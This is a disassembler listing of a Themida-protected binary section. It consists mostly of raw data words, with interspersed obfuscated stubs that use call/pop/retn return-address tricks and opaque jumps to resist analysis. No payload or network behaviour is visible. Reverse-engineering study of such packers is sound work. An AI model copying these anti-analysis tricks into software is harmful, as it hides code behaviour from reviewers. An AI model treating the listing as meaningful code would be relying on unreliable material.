		dd 7182F3D6h, 12E950DFh, 0B8000000h, 0DD9CC50Eh, 0D5FC907Bh
		dd 1CC3BD48h, 6096B030h, 6A939Fh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0BD8BF5C3h, 7FA2B21h
		dd 9B9B5FFh, 8B6607FAh,	2D95FFF3h, 6607FA01h, 496BF781h
		dd 0B52900B0h, 7FA010Dh, 830F70E6h, 0
		dd 8B6671E4h, 0F613CF1h, 1F383h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 1BEBE2A0h
		dd 0F050B7Dh, 0B60FFBB7h, 7E8D8h, 83C80000h, 0B5E5ADA0h
		dd 0F18B66CBh, 6BA5Fh, 0BE660000h, 0C38BF398h, 0C3D9D29h
		dd 0E8C107FAh, 56006A04h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0F36E26Dh, 68997582h
		dd 0E2F766DDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0E8C35141h, 836AB267h, 8D89D82Bh, 7FA10B1h, 2141B589h
		dd 605807FAh, 89CAB70Fh, 0FA28DDBDh, 0D82B6107h, 13E880Fh
		dd 0BD890000h, 7FA3465h, 7B9h, 9B58B00h, 8307FA26h, 6A00C1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0D7618C3h, 8B14F0ADh, 0FA08B1B5h, 0FBB70F07h, 860FD93Bh
		dd 0F8h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0E0C35646h, 522E0A40h, 0E1970F71h, 66F7B70Fh, 11E9D98Ch
		dd 82000000h, 0AB3F1794h, 7C16C279h, 522D030h, 4D12CAAEh
		dd 0F04C1F6h, 9C84h, 95FFF900h,	7FA1721h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 19h, 0D2C35747h, 71A765CEh
		dd 958B604Ah, 7FA2DEDh,	0F9FDBB60h, 0A5BE5CE9h,	6107ABE6h
		dd 0FB8B5B61h, 6AC32Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0EF3E47C3h, 75B523D4h, 3D07FA25h
		dd 834h, 2B860Fh, 0BE660000h, 35E943EAh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 201AC356h, 9EFF1E48h, 0E9C08B3Ah, 0Ch, 0EE4F4A3Bh, 5D7F4ACBh
		dd 5AC9F5DBh, 0D88BC38Bh, 1BF5BD03h, 85C707FAh,	7FA2AF9h
		dd 3D1EA773h, 37565FBEh, 8BC08B23h, 1ABF66F9h, 0B9BD8176h
		dd 0D007FA09h, 0F000007h, 6C85h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 9FAD22A8h
		dd 9B0CE30Ah, 34F9BD8Bh, 85FF07FAh, 7FA09B9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D6C35141h, 0E06071BDh
		dd 0FC3F688h, 13E9A9h, 34EE0000h, 0A2986D74h, 0C3D1A80Ch
		dd 0BB0D6C50h, 5FD72E09h, 0B9B5FF5Fh, 6A07FA09h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 5626C353h, 4C13B1E7h, 66B365D2h, 0A021C781h,	0AE956h
		dd 0E5A60000h, 81F75CF0h, 3F7DA711h, 2D95FF5Eh,	6A07FA01h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0B432C357h, 0B89048CBh, 12345678h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0FEC35141h, 0F89B069h
		dd 688h, 19BD8B00h, 8B07FA2Eh, 23BE66F7h, 839D8D4Ch, 0E907FE9Ah
		dd 0FFFFF8F4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	6FC35545h, 0F9BF0F90h, 6AC18Bh,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 29B19DC3h
		dd 0F3674F39h, 518D895Dh, 0EB07FA24h, 4, 5B58900h, 0BF07FA00h
		dd 57397C5h, 150D858Dh,	6A07FAh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 74FEC4C3h, 4880Fh, 0BE660000h
		dd 0BF5069B0h, 52C8B25Ah, 0BF240489h, 65B806h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 91AF70C3h, 7DF2A8D7h, 6ABCDCh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 68C35747h, 0B01B8006h, 13E9h
		dd 0D49C8600h, 5CE4CAB0h, 6904A4ABh, 0D026640Eh, 6E7A7D18h
		dd 9C81858Dh, 9D8907FEh, 7FA12C9h, 6A05C083h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0F97AC355h, 315FA90Ch, 0E681570Ah, 4974AE8Ah, 45B5895Eh
		dd 5007FA1Ch, 6A240489h, 3DBD8B00h, 6A07FA21h, 6840F00h
		dd 8B000000h, 0FA0869BDh, 4D95FF07h, 6A07FA17h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 68EBC353h, 8C36E16Fh, 7ADB9D8Dh, 0FFF907FEh,	57006AD3h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 686D84C6h, 0C92AD151h, 0B86660C1h, 0FF614934h, 0FA312585h
		dd 68E0F07h, 89000000h,	0FA26F1BDh, 0F28E907h, 0E80000h
		dd 5D000000h, 9C8BED81h, 6A07FEh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 12DD7DC3h, 46606776h
		dd 89BD89D7h, 8907FA25h, 0FA25A99Dh, 0C5B53107h, 8107FA00h
		dd 0FA09B9BDh, 7D007h, 6E860F00h, 8B000001h, 4D9D8BFAh
		dd 6A07FA11h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 2F8EC355h, 0DB5F335Eh,	81E1E94Fh
		dd 100E3h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 8F22C2CDh, 0C3675FEFh, 39CF8166h
		dd 0FDB0B05h, 0AC85h, 0DE800h, 39D20000h, 9DB663A2h, 4C9AEF64h
		dd 66F334ABh, 4BDFD781h, 11BD835Fh, 7FE9Bh, 48840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 1D2181C3h, 0E9AD6F64h, 8Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 64C35141h, 0F30FADD2h, 85C78A65h
		dd 7FE9B11h, 1,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	48C35141h, 13F98B7Ah, 0DD7DCDF4h, 31D9D89h, 30E907FAh
		dd 8B000000h, 0FA1C8DB5h, 1185C707h, 7FE9Bh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0B09AC351h, 8DFB8B66h, 0FA114D9Dh, 89B53307h
		dd 8107FA06h, 0FFFEFF23h, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 8B632649h
		dd 0FA2921B5h, 0DB8C6607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 52C35747h, 9EB0C849h,	765F78E5h, 0F04C3F6h
		dd 4D84h, 8E900h, 0C9DF0000h, 0FCF4F46Ch, 95FF6859h, 7FA1721h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7CC35040h
		dd 0BF646DC8h, 9E9926Ch, 39000000h, 11F616ECh, 0DBE6EACEh
		dd 24048950h, 8E99531h,	2BE907FAh, 0BF000004h, 5BE2FEB2h
		dd 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BD8BD8C3h, 7FA03F1h, 6A70E6h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 217F3EC3h
		dd 0F69FEB3h, 71E4F9B7h, 0D8B60FF5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 20C35040h, 0F7B70F93h, 6BAh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 9A7F9187h, 0BF6687FCh, 0C38B6C7Ah, 1145BD8Bh
		dd 0E8C107FAh, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 1C18B909h, 665EF077h
		dd 0F766F78Bh, 3DB58BE2h, 2B07FA28h, 0A18D31D8h, 9307FA03h
		dd 0E850FB8Bh, 0Ah, 0F6F9B438h,	14BEFDC2h, 935E5C11h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 10C35646h, 8DA20BA4h
		dd 0B9B5FFF5h, 8B07FA09h, 0FA0289BDh, 2D95FF07h, 6A07FA01h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 363C355h,	39A1A39Ch, 6A00B0h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0FE31EBC3h
		dd 0DF81BC5Fh, 70FE9625h, 0B70F70E6h, 0D57FBFF0h, 71E42747h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0ACC35747h
		dd 613CE77Ah, 288830Fh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0E9D52AC3h, 10h, 0D4142C8h
		dd 5AC2D53Eh, 3E991C9h,	2FDED5A2h, 0E9D8B60Fh, 11h, 6C09598Fh
		dd 295C8234h, 0A9DE07FEh, 21E7549h, 6BA60h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0EB2D28C3h, 0B3F12C3Ch, 6AC38Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 138F96C3h
		dd 8634D032h, 0E9EE44DAh, 0Dh, 0F400027Eh, 0BA858FB8h
		dd 24283B3Dh, 4E8C1F0h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0BEC35242h, 69BD8B78h, 6607FA05h, 800FE2F7h
		dd 0Ch,	68A0Fh,	9D890000h, 7FA0ADDh, 0BD89D82Bh, 7FA1559h
		dd 57006A58h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0E8F1F8C5h, 12h,	0FD29DD2Ah, 0C092E6D3h
		dd 4FB6B59Eh, 68B72C9Ah, 0F6817D7Bh, 5B3FF005h,	0FD82B5Eh
		dd 15588h, 0C9858900h, 0B907FA12h, 7, 83FBBF0Fh, 8A0F00C1h
		dd 16h,	11E9h, 0B9A04F00h, 2CAB2471h, 4CED8976h, 0EFA9FC64h
		dd 0D93B8349h, 120860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0BF2F55C3h, 8B510981h
		dd 0FA082DB5h, 8C665F07h, 51006AD9h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 898F6245h
		dd 0FA0BF98Dh, 4C1F607h, 0A2840Fh, 0EE90000h, 0F000000h
		dd 173B728Fh, 5C15AA6Ch, 32D4162Ah, 958B60BBh, 7FA02ADh
		dd 35119D29h, 0FF6107FAh, 0FA172195h, 1D8D8907h, 5B07FA29h
		dd 9DBE6651h, 0C32B5E3Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0C8C35545h, 9335F770h, 0E9D607C6h, 0Ch
		dd 0F0622C37h, 0C7FF9D13h, 0FFA5479Ch, 8343Dh, 2D860F00h
		dd 89000000h, 0FA2D498Dh, 48E907h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 82A807C3h
		dd 81C39048h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 6D2A5DC3h, 31A1B52Bh, 0C38B07FAh
		dd 8E9D88Bh, 5000000h, 0FCB935A5h, 0C74180ACh, 0FA117985h
		dd 6C43FD07h, 95B52B71h, 8B07FA05h, 68F0FC0h, 8B000000h
		dd 0FA1E9DB5h, 0B9BD8107h, 0D007FA09h, 0F000007h, 6E85h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 78CF66F4h, 0B6243649h, 0EE858h, 0E71A0000h
		dd 20333945h, 0E88CB8ABh, 832B97C9h, 17519D09h,	295E07FAh
		dd 0FA1C81BDh, 0B985FF07h, 6A07FA09h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0F2B5C351h
		dd 6B2147A8h, 0FFB2A0C2h, 0FA09B9B5h, 0D958907h, 0FF07FA2Eh
		dd 0FA012D95h, 7E907h, 4EC10000h, 23A7A7EBh, 6A40904Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0E80AC350h, 6, 628EA13Eh,	8A0F604Ah, 2, 505F6160h
		dd 21BD835Fh, 7FA11h, 0C8840Fh,	0BD8B0000h, 7FA2B21h, 461BD83h
		dd 0F0007FAh, 0B584h, 0FFFA8B00h, 0FA112195h, 0F9BF0F07h
		dd 0AE8h, 569E0300h, 3EE9A20Fh,	8B76F119h, 0FA28A1B5h
		dd 0C00B5F07h, 8C840Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 9A9C0CC3h, 281875FBh
		dd 8D8D3D7Bh, 7FA4F53h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0B5C35141h, 846EFC33h, 0A6BE7F55h, 68C0F48h
		dd 8B000000h, 0FA1B85BDh, 4DBD0B07h, 0B807FA34h, 5, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 59C35343h, 0E1FFC2CCh
		dd 329FCE81h, 0BD834245h, 7FA0CDDh, 95840F00h, 0F000006h
		dd 0C89h, 6850F00h, 0F000000h, 81h, 61BD8300h, 7FA04h
		dd 676840Fh, 0B5890000h, 7FA1795h, 9198D89h, 8D8D07FAh
		dd 7FA138Dh, 99BD8BFCh,	0C707FA31h, 0B27C8401h,	56006A44h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 54F633C7h, 8BA21600h, 0FA0C85BDh, 88BE6607h,	0CB018189h
		dd 6A1499CFh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 7D51C355h, 0FDBE6639h,	441C7E4h
		dd 0CE706B34h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0F0C35141h, 7207F37h, 4BC35280h, 0B5952960h, 6607FA0Ah
		dd 3A78CF81h, 0FABF0F61h, 10044181h, 6A31D6D7h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0D1C4C355h, 32498C27h, 0C5EEA11Eh, 108E0Fh, 0BE90000h
		dd 0C3000000h, 0A608A90Fh, 997EC1E2h, 6AB763h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 93C35242h, 4C614768h
		dd 8909C3D8h, 0FA28C99Dh, 8D858D07h, 2907FA13h,	0FA185995h
		dd 0E8605007h, 0Fh, 0E545EB74h,	0FFFED19Dh, 0CD9A26BEh
		dd 60206153h, 60535F61h, 89615F61h, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 1BB482C3h
		dd 169DBD89h, 95FF07FAh, 7FA0CDDh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 91C35343h, 0C40B3646h, 0C8D8CABh
		dd 8DF3B70Fh, 0FA138D8Dh, 2DB53307h, 0C707FA18h, 1, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8D0F50D8h, 3, 0C7F0B70Fh, 441h, 0BF660000h, 0C00B8268h
		dd 0A8840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 6111B3C3h, 68D0F56h, 81000000h
		dd 8880E9EFh, 8D8D5E1Eh, 7FA4F53h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0F2C35141h,	6B628975h, 9E8h
		dd 0B9AC8300h, 231031A5h, 0F5FF247h, 3350F6BFh,	0FA1E0DBDh
		dd 5B85F07h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 267BC351h, 62973AFDh
		dd 2701B58Bh, 0F18B07FAh, 8589E1FFh, 7FA1549h, 49DB589h
		dd 8D8D07FAh
		dd 7FA138Dh, 5880Fh, 81660000h,	8BFAF1F7h, 0FA0ACDBDh
		dd 7C01C707h, 6A44AA72h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8140C353h, 37289AF6h
		dd 0CB018158h, 6A1499CFh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0F757C357h,	0CC4F1812h
		dd 0C7FE8B98h, 753C0441h, 0BD33CE78h, 7FA1AF9h,	10044181h
		dd 6A31D6D7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 10F0C351h, 0EA3775A8h,	6AA4A5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 68C35545h
		dd 0C229F84Dh, 78A87D66h, 0CF816688h, 858D9363h, 7FA138Dh
		dd 9018589h, 569007FAh,	12E8h, 50E7FF00h, 0D97430A0h, 532A43A2h
		dd 0B6C2D9D4h, 505EA07Eh, 5A310F52h, 505F5E58h,	52505250h
		dd 310FF28Bh, 585A6160h, 0BF66310Fh, 585A8616h,	56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 991A332Bh, 81662187h, 0FF7EC5DFh, 0FA0CDD95h, 8DFB8B07h
		dd 0FA138D8Dh, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0B443945Eh, 0D9D899Ah
		dd 0E907FA06h, 8, 7A854FA7h, 8221CCA6h,	1C7h, 0BE660000h
		dd 41C7A59Eh, 4, 6E800h, 22B80000h, 511591DDh, 5EFBBF0Fh
		dd 840FC00Bh, 66h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 96C35646h, 8B402C5Dh,	0FA2099B5h, 538D8D07h
		dd 6A07FA4Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 4838C351h, 25958589h, 0B58B07FAh
		dd 7FA2775h, 5B8h, 6DBD8B00h, 0FF07FA21h, 15B4BEE1h, 8D8D030Bh
		dd 7FA138Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0A0C35343h, 705426B0h, 1C76723h, 54CA95A5h, 0C18D89F8h
		dd 8107FA09h, 99CFCB01h, 51006A14h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 9C85A177h, 0F6C68166h
		dd 0FA8B66ACh, 690441C7h, 6ACE5F59h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0F998C355h
		dd 9314D0D2h, 0BEA7F9B7h, 19AB3C6Fh, 1DF1B589h,	418107FAh
		dd 0D6D71004h, 0E5852931h, 6A07FA05h, 858DF500h, 7FA138Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E7C35343h
		dd 0C2A84729h, 0F26093AFh, 12F5B58Bh, 605007FAh, 0F0028ABFh
		dd 489612Ch, 0A9B58B24h, 0FF07FA32h, 0FA0CDD95h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 35EFC573h, 0DC0ABEFBh, 138D8D8Dh, 0BF0F07FAh, 1C7F8h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 4A8FC351h, 3FA23D6Bh, 0E7B7418Ch
		dd 19CD9589h, 41C707FAh, 4, 2E48BF00h, 0C00B2E3Eh, 86840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 27F49C3h,	0B903EEB7h, 89C88842h, 0FA240DBDh
		dd 2BCEBE07h, 8D8D442Eh, 7FA4F53h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 67C35040h, 78CD3178h, 6C8C5C77h
		dd 0B8FA8B66h, 5, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	38C35141h, 2DB9BD01h, 0E1FF07FAh, 17E9CA03h, 6AFFFFF1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 737FC352h, 0C778BD07h, 10E952BFh,	15000000h
		dd 62E49013h, 569254F8h, 0FB13A6ABh, 81E3D8ECh,	46FC4CCFh
		dd 0C18B5E68h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0F3C35141h, 0EE8110D8h,	7A34CCC6h, 8BF68166h, 4EBFAh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 5B2AC353h, 344DBD8Bh, 8D8907FAh
		dd 7FA03F1h, 150D858Dh,	6A07FAh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 4E1176C3h, 0E2CD433Bh
		dd 1E718589h, 509007FAh, 8402BF66h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 2B3858Eh, 0CE9E3h
		dd 73000000h, 7783EDB6h, 35304701h, 6AEE66h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C8C35646h, 89A29160h
		dd 0FA1DA1BDh, 6A006A07h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0ED92C351h,	0D25209A7h
		dd 0AD5E858Dh, 816607FEh, 83C0CBC7h, 896005C0h,	0FA242D85h
		dd 0EBC68107h, 614B6DF8h, 1024BF90h, 0F504EA9h,	1E8Ah
		dd 0E9525000h, 11h, 1662E221h, 0FC1C2FDCh, 0EC19221h, 3556540Ch
		dd 51310F2Ch, 90585A5Fh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0AAC35545h, 6A006Ah, 11F59529h, 95FF07FAh
		dd 7FA174Dh, 1840Fh, 8DF50000h,	0FE7ADB9Dh, 0FF5F5007h
		dd 0DE8D3h, 0B4450000h,	0D4024A34h, 5C9ADF8Eh, 0F0E0881h
		dd 8Fh,	85FF5E00h, 7FA3125h, 0CEE9F18Bh, 0E8000007h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7FEAD68h
		push	0
		push	ecx
		call	sub_5EC87E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EC87E	proc near		; CODE XREF: Themida_:005EC876p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx


loc_5EC883:				; CODE XREF: Themida_:005EC88Ej
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5EC87E	endp

; ---------------------------------------------------------------------------
		jz	short loc_5EC883
		mov	eax, 9D896F84h
		jns	short loc_5EC8AD
		cli
		pop	es
		mov	si, 73Ah
		cmp	dword ptr [ebp+7FA09B9h], 7D0h
		jbe	loc_5EC9BB


loc_5EC8AD:				; CODE XREF: Themida_:005EC895j
		push	0
		push	eax
		call	sub_5EC8B8
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EC8B8	proc near		; CODE XREF: Themida_:005EC8B0p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5EC8B8	endp

; ---------------------------------------------------------------------------
		dd 50DF2465h, 0DFD7AE48h, 9D8B882Dh, 7FA0C39h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0EDC35141h, 0CBF8153h
		dd 8124BEF0h, 100E3h, 0FB1EBE00h, 0DB0B5C64h, 64850Fh
		dd 33BF0000h, 834CF313h, 0FEABDBBDh, 840F0007h,	1Ah, 32DD9589h
		dd 9D8907FAh, 7FA1BE9h,	6DE9h, 25BD2900h, 6607FA1Eh, 85C7F78Bh
		dd 7FEABDBh, 1,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	73C35747h, 8651973Fh, 0E989E31Dh, 32h, 6E3CEE81h
		dd 85C74BF7h, 7FEABDBh,	0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5EC987
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EC987	proc near		; CODE XREF: Themida_:005EC97Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5EC987	endp

; ---------------------------------------------------------------------------
		sbb	ah, dh
		retf
; ---------------------------------------------------------------------------
		dw 0F242h
; ---------------------------------------------------------------------------
		fstp9	st(6)
		lea	ebx, [ebp+7FA0C39h]
		sub	[ebp+7FA0CBDh],	ecx
		jns	loc_5EC9B5
		mov	esi, 5A0D8B38h


loc_5EC9B5:				; CODE XREF: Themida_:005EC9AAj
		and	dword ptr [ebx], 0FFFFFEFFh


loc_5EC9BB:				; CODE XREF: Themida_:005EC8A7j
		mov	bx, ds
		movzx	esi, dx
		test	bl, 4
		jz	loc_5ECA6A
		push	0
		push	esi
		call	sub_5EC9D5
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EC9D5	proc near		; CODE XREF: Themida_:005EC9CDp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5EC9D5	endp

; ---------------------------------------------------------------------------
		xor	al, [ecx+ebx*4-76218F87h]
		mov	ebp, 7FA2DA1h
		movsx	edi, ax
		mov	[ebp+7FA1E55h],	edi
		call	dword ptr [ebp+7FA1721h]
		or	[ebp+7FA0215h],	edx
		sub	[ebp+7FA12A9h],	eax
		nop
		pusha
		mov	di, 5CFEh


loc_5ECA12:				; CODE XREF: Themida_:005ECA20j
		popa
		push	eax
		jnz	loc_5ECA2C
		jmp	loc_5ECA2C
; ---------------------------------------------------------------------------
		inc	ecx
		jmp	short loc_5ECA12
; ---------------------------------------------------------------------------
		dw 6522h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 4, 5Eh, 7Ah
		dd 6259A6C1h
; ---------------------------------------------------------------------------


loc_5ECA2C:				; CODE XREF: Themida_:005ECA14j
					; Themida_:005ECA1Aj
		nop
		push	0
		push	eax
		call	sub_5ECA38
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ECA38	proc near		; CODE XREF: Themida_:005ECA30p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5ECA38	endp

; ---------------------------------------------------------------------------
		dd 0AFE35BB2h, 8D8B604Ah, 7FA0A6Dh, 5E8h, 84172300h, 9D89E16Ch
		dd 7FA0175h, 0BF66615Eh
		db 0C5h, 4Bh
; ---------------------------------------------------------------------------


loc_5ECA6A:				; CODE XREF: Themida_:005EC9C4j
		jmp	loc_5ECDD5
; ---------------------------------------------------------------------------
		db 81h
		dd 790CA4E7h, 0BF00B033h, 68C68B71h, 0B58970E6h, 7FA1C21h
		dd 6A71E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0ECB229C3h, 92221741h, 0B60F7984h, 0BAF78BD8h
		dd 6, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 1Ah
		dd 2DC35242h, 0D511BFBFh, 0C38BE28Bh, 25959589h, 0E8C107FAh
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 9DBD292Fh, 6607FA16h, 8A0FE2F7h,	3, 2BF08B66h
		dd 51006AD8h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0C22FE23Ch, 8950D53Ch, 9D89241Ch, 7FA2089h
		dd 9B9B5FFh, 8B6607FAh,	2D95FFF9h, 8907FA01h, 0FA12EDB5h
		dd 6A00B007h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 3ABC353h, 3890B7E4h, 0BD8B70E6h
